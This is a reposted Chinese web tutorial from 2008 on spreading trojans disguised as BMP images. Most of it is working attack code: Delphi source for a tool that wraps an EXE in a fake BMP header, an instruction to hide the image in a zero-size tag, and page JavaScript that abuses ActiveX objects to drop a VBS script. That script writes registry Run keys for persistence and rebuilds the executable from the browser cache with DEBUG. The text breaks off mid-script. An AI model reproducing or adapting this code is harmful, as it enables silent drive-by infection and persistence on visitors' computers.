木马传播新方式 图片木马技术解析

2008-02-23 06:34:57来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

  何谓BMP网页木马?它和过去早就用臭了的MIME头漏洞的木马不同,MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件,放到网页上利用IE和OE的编码漏洞实现自动下载和执行。

  然而BMP木马就不同,它把一个EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的JAVASCRIPT脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录。再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.但是这种技术只能在9X下发挥作用,对于2K、XP来说是无能为力了。

  看上去好象很复杂,下面我们一步一步来:

  1) EXE变BMP的方法.

  大家自己去查查BMP文件资料就会知道,BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽、位数、文件大小、数据区长度。我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件,开始我们用JPG文件做过试验,发现如果文件头不正确的话,是不会下载的,转换代码如下:

program exe2bmp;

uses
Windows,
SysUtils;

var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;

begin
if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果运行后没有两个参数则退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs 12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col 4;
end else Break;
end;
FillChar(buffer,256,0);
{一下为BMP文件头数据}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len 54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.

以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件.大家打开MSDOS方式,输入
exe2bmp myexe.exe mybmp.bmp
回车就可以把第二个参数所指定的EXE文件转换成BMP格式.
接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式
<img srd="mybmp.bmp" higth="0" width="0">


以下是放在网页上的脚本
document.write(' ');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys '\\s.vbs';
wsh.RegWrite
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript ' '"' vbs '" ');
var st=fso.CreateTextFile(vbs,true);
st.WriteLine('Option Explicit');
st.WriteLine('Dim FSO,WSH,CACHE,str');
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")');
st.WriteLine('Set WSH = CreateObject("WScript.Shell")');
st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")');
st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")');
st.WriteLine ('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.exe"');
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"');
st.WriteLine('WScript.Quit()');
st.WriteLine('Function SearchBMPFile(Folder,fname)');
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys');
st.WriteLine(' str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & fname');
st.WriteLine(' if FSO.FileExists(str) then');
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"');
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"');
st.WriteLine(' set File=FSO.GetFile(str)');
st.WriteLine(' File.Copy(tmp & "tmp.dat")');
st.WriteLine(' File.Delete');
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")');
st.WriteLine(' Lt.WriteLine("rbx")');
st.WriteLine(' Lt.WriteLine("0")');
st.WriteLine(' Lt.WriteLine("rcx")');
st.WriteLine(' Lt.WriteLine("1000")');
st.WriteLine(' Lt.WriteLine("w136")');
st.WriteLine(' Lt.WriteLine("q")');
st.WriteLine(' Lt.Close');
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6');

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Google Hacking 的实现以及应用

下一篇:实用技巧:如何全面抵制黑客攻击